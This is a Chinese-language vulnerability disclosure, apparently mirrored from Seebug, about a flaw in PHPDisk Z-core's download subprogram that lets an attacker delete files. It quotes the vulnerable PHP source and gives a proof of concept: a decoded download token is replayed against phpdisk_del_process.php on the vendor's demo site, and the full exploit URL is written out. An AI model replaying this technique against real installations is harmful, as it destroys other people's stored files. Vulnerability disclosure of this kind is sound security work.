parse_str(pd_encode($str,'DECOD...">phpdisk Z-core网赚版子程序过滤不严,导致可删除文件. - exploit database | Vulners.com parse_str(pd_encode($str,'DECOD..."> parse_str(pd_encode($str,'DECOD..."> parse_str(pd_encode($str,'DECOD...">
Lucene search

K
seebugRootSSV:95379
HistoryJan 23, 2015 - 12:00 a.m.

phpdisk Z-core网赚版子程序过滤不严,导致可删除文件.

2015-01-2300:00:00
Root
www.seebug.org
56

简要描述:

phpdisk Z-core网赚版下载子程序(sub)过滤不严,导致可删除任意文件.

详细说明:

我们先来看子程序中phpdisk_del_process.php这个文件相关代码。

<img src=“https://images.seebug.org/upload/201501/18095728bb5c42d9092bb70485406df787b69059.jpg” alt=“1.JPG” width=“600”>

parse_str(pd_encode($str,‘DECODE’)); 这里直接把传进来的值,解析到变量中了。但是被加密了,看似不可利用,其实不然。我们再来看dl.php。这个是最后下载页。

<img src=“https://images.seebug.org/upload/201501/1809591488afe9afd38de49a41de685fcbcccd0d.jpg” alt=“2.JPG” width=“600”>

parse_str(pd_encode(base64_decode(rawurldecode($str)),‘DECODE’));
这里同样是直接把传进来的值,解析到变量中。解析后有一个变量$file_id,而上面phpdisk_del_process.php这文件只需要一个$file_id就可以执行删除操作。
phpdisk_del_process.php

&lt;?php 
/**
#	Project: PHPDISK File Storage Solution
#	This is NOT a freeware, use is subject to license terms.
#
#	Site: http://www.phpdisk.com
#
#	$Id: phpdisk_del_process.php 24 2012-09-05 02:52:59Z along $
#
#	Copyright (C) 2008-2012 PHPDisk Team. All Rights Reserved.
#
*/
include "includes/commons.inc.php";
@set_time_limit(0);
@ignore_user_abort(true);
$server_arr = array('up'=&gt;'上传服务器','down'=&gt;'下载服务器','local'=&gt;'本地服务器');
$str = $_SERVER['QUERY_STRING']; //接收传进的值
if($str){
	parse_str(pd_encode($str,'DECODE')); //把字符串解析到变量中。
	$pp = iconv('utf-8','gbk',$pp);
	$arr = explode('.',$pp);
	$src_file = $arr[0].get_real_ext($arr[1]);
	$thumb_file = $arr[0].'_thumb.'.$arr[1];
	$out_txt = "删除结果:【{$server_arr[$server]}】【{$_SERVER['HTTP_HOST']}】,删除文件【{$file_name}】,文件ID:[{$file_id}]";
	$file_extension = get_extension($file_name);
	$esp = strlen($file_extension)+1;
	if($file_extension){
		$file_name = substr($file_name,0,strlen($file_name)-$esp);
	}
	$rs = $db-&gt;fetch_one_array("select file_real_name,file_extension,file_store_path from {$tpf}files where file_id='$file_id' limit 1"); //我们只需要一个$file_id
	if($rs){
		$num = @$db-&gt;result_first("select count(*) from {$tpf}files where file_real_name='{$rs[file_real_name]}' and file_extension='{$rs[file_extension]}' and file_name='".$db-&gt;escape($file_name)."' and file_store_path='{$rs[file_store_path]}'");
	}
	if($safe){
		if($num==1){
			if(@unlink(PHPDISK_ROOT.$src_file)){
				@unlink(PHPDISK_ROOT.$thumb_file);
				echo 'document.writeln("'.$out_txt.' <span>成功</span>
");'.LF;
			}else{
				echo 'document.writeln("'.$out_txt.' <span>失败[文件不存在或权限不足]</span>
");'.LF;
				//echo 'alert("'.$out_txt.' \r\n安全删除失败,请使用单个文件删除此文件后再使用批量删除功能1。");'.LF;
				$log = '&lt;? exit; ?&gt; '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
				write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
			}
		}else{
			echo 'document.writeln("'.$out_txt.' <span>失败[存在引用]</span>
");'.LF;
			//echo 'alert("'.$out_txt.' \r\n安全删除失败,此文件还存在其他的用户转存的文件引用,请使用非安全删除进行操作。");'.LF;
			$log = '&lt;? exit; ?&gt; '.$out_txt.LF.'路径:'.PHPDISK_ROOT.$pp.' 时间:'.date('Y-m-d H:i:s').LF;
			write_file(PHPDISK_ROOT.'system/delfile_log.php',$log,'ab');
		}
	}else{
		if($num==1){
			@unlink(PHPDISK_ROOT.$src_file);
			@unlink(PHPDISK_ROOT.$thumb_file);
		}
		echo 'document.writeln("'.$out_txt.' <span>成功</span>
");'.LF;
	}
	if($server=='up'){
		$db-&gt;query_unbuffered("delete from {$tpf}files where file_id='$file_id'");
		echo 'document.writeln("数据库记录文件ID:['.$file_id.']删除 <span>成功</span>
");'.LF;
	}
}else{
	exit('
 <p>Program is running, but error params!</p>');
}
?&gt;

dl.php

&lt;?php 
/**
#	Project: PHPDISK File Storage Solution
#	This is NOT a freeware, use is subject to license terms.
#
#	Site: http://www.phpdisk.com
#
#	$Id: dl.php 33 2013-08-10 05:40:30Z along $
#
#	Copyright (C) 2008-2012 PHPDisk Team. All Rights Reserved.
#
*/
error_reporting(0);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
	define('OS_WIN',true);
	define('LF',"\r\n");
}else{
	define('OS_WIN',false);
	define('LF',"\n");
}
$timestamp = time();
define('PHPDISK_ROOT', dirname(__FILE__).'/');
require_once(PHPDISK_ROOT.'system/settings.inc.php');
define('SERVER_KEY',$settings[encrypt_key]);
define('FILE_PATH',$settings[file_path]);
define('IN_PHPDISK',TRUE);
@set_time_limit(0);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
function check_ref(){
	global $settings;
	$arr = explode('/',$_SERVER['HTTP_REFERER']);
	$arr2 = explode('/',$settings[phpdisk_url]);
	if($_SERVER['HTTP_HOST']!='localhost'){
		if(!$_SERVER['HTTP_REFERER'] || $arr[2]!=$arr2[2]){
			header('Location: '.$settings[phpdisk_url]);
			exit;
		}
	}
}
//check_ref();
function pd_encode($string, $operation = 'ENCODE',$key = ''){
	global $settings;
	$ckey_length = 4;
	$key = md5($key ? $key : ($settings['encrypt_key'] ? $settings['encrypt_key'] : 'PHPDisk=Rc9o'));
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);
	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d',0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);
	$result = '';
	$arr = range(0, 255);
	$rndkey = array();
	for($i = 0; $i &lt;= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}
	for($j = $i = 0; $i &lt; 256; $i++) {
		$j = ($j + $arr[$i] + $rndkey[$i]) % 256;
		$tmp = $arr[$i];
		$arr[$i] = $arr[$j];
		$arr[$j] = $tmp;
	}
	for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $arr[$a]) % 256;
		$tmp = $arr[$a];
		$arr[$a] = $arr[$j];
		$arr[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($arr[($arr[$a] + $arr[$j]) % 256]));
	}
	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &gt; 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}
}
function filter_name($str){
	return str_ireplace(array(' ','&amp;','・'),'_',$str);
}
function get_real_ext($file_extension){
	if($file_extension){
		$exts = explode(',','asp,asa,aspx,ascx,dtd,xsd,xsl,xslt,as,wml,java,vtm,vtml,jst,asr,php,php3,php4,php5,vb,vbs,jsf,jsp,pl,cgi,js,html,htm,xhtml,xml,css,shtm,cfm,cfml,shtml,bat,sh');
		if(in_array($file_extension,$exts)){
			$file_ext = '.txt';
		}
	}else{
		$file_ext = '.txt';
	}
	return $file_ext;
}
function get_extension($name){
	return strtolower(trim(strrchr($name, '.'), '.'));
}
$str = $_SERVER['QUERY_STRING'];
parse_str(pd_encode(base64_decode(rawurldecode($str)),'DECODE'));
if($expire_time && $expire_time&lt;$timestamp){
	header("Content-Type: text/html; charset=utf-8");
	$src_url = $settings[phpdisk_url]."viewfile.php?file_id=$file_id";
	echo '<p>请登录原地址重新获取: <a href target="_blank">'.$src_url.'<a></p>';
	echo '<p>温馨提示:此文件链接已失效,请勿非法盗链。</p>';
	exit;
}
$pp = $pp.get_real_ext(get_extension($pp));
if(!file_exists(PHPDISK_ROOT.FILE_PATH.'/'.$pp)){
	header("Content-Type: text/html; charset=utf-8");
	echo '<p>文件ID: '.$file_id.'
';
	echo '['.$file_name.'] 文件不存在,请联系网站管理员处理。

';
	echo '联系方式:'.$settings[contact_us].'</p>';
}else{
	$file_name = filter_name(str_replace("+", "%20",$file_name));
	ob_end_clean();
	$ua = $_SERVER["HTTP_USER_AGENT"];
	if(preg_match("/MSIE/i", $ua)){
		header('Content-disposition: attachment;filename="'.iconv('utf-8','gbk',$file_name).'"');
	}else{
		header('Content-disposition: attachment;filename="'.$file_name.'"');
	}
	header('Content-type: application/octet-stream');
	if($settings[open_xsendfile]==2){
		header('X-Accel-Redirect: /'.FILE_PATH.'/'.$pp);
	}elseif($settings[open_xsendfile]==1){
		header('X-sendfile: ./'.FILE_PATH.'/'.$pp);
	}else{
		header('Content-Encoding: none');
		header('Content-Transfer-Encoding: binary');
		header('Content-length: '.$fs);
		@readfile('./'.FILE_PATH.'/'.$pp);
	}
}
exit;
?&gt;

漏洞证明:

我们用官方演示站http://demo.phpdisk.com/进行测试
首先我们到最后下载页获取dl.php?后面的加密字符串.

<img src=“https://images.seebug.org/upload/201501/18100751e752cc3fb329cc401ae842a9afbfcb45.jpg” alt=“3.JPG” width=“600”>

这个字符串是经过base64加密的,我们得先解密,解密前,我们先urlencode一下

<img src=“https://images.seebug.org/upload/201501/181011087a80ce0e70d0872f7af7719f9aa02827.jpg” alt=“4.JPG” width=“600”>

然后再base64解密

<img src=“https://images.seebug.org/upload/201501/181012480fb97a16c6eebffbd9f8369b08540012.jpg” alt=“5.JPG” width=“600”>

我们把解密后的字符串
6853zqzEKiJ752Q4u4Y1ZJ/EutvuJThmTyhtF0Cw0AsCeE6P2br9fcG+FZr4bPogDP4pCCAdRWL17kWDcXP3uxIjFIDWHnf4feLSUvQr7ooB3WUQYe7mA6lcRFduANRTTc/yf9o3OEuEg5pDzUCMo/iNGbaaTEuyDww6F4iZdNjZs6HANTqUi68kY5Y1ZRDR0X0LTsNBaK9+L75qHjRi71xSgaObQKxoRlE/WVYJ6ksIG+2dpW0YA7ybJMgOLpg2WJSuSjDnqJToS3Sm2SXIULxRJIk1R3PBp6d8rFjZ4Y7MZfxU/L+d9YItFmO/qYM5ehfYCsevoEiczaUsNvyXx0XBi27DFzcUo+rWcRFG+Y7X8z50/MXQuFkEEj0ogCfjqXHqjgfd+PMp+BqAYg00eflhxqP5aLx6nEvm4JJOdGX8bE5pfD7VOsCEXFZSu5M
放到phpdisk_del_process.php后面得到地址
http://demo.phpdisk.com/z/sub/phpdisk_del_process.php?6853zqzEKiJ752Q4u4Y1ZJ/EutvuJThmTyhtF0Cw0AsCeE6P2br9fcG+FZr4bPogDP4pCCAdRWL17kWDcXP3uxIjFIDWHnf4feLSUvQr7ooB3WUQYe7mA6lcRFduANRTTc/yf9o3OEuEg5pDzUCMo/iNGbaaTEuyDww6F4iZdNjZs6HANTqUi68kY5Y1ZRDR0X0LTsNBaK9+L75qHjRi71xSgaObQKxoRlE/WVYJ6ksIG+2dpW0YA7ybJMgOLpg2WJSuSjDnqJToS3Sm2SXIULxRJIk1R3PBp6d8rFjZ4Y7MZfxU/L+d9YItFmO/qYM5ehfYCsevoEiczaUsNvyXx0XBi27DFzcUo+rWcRFG+Y7X8z50/MXQuFkEEj0ogCfjqXHqjgfd+PMp+BqAYg00eflhxqP5aLx6nEvm4JJOdGX8bE5pfD7VOsCEXFZSu5M
放到浏览器执行成功删除该文件

<img src=“https://images.seebug.org/upload/201501/181016416286ce5e130197ca79eeaec23900dcd4.jpg” alt=“6.JPG” width=“600”>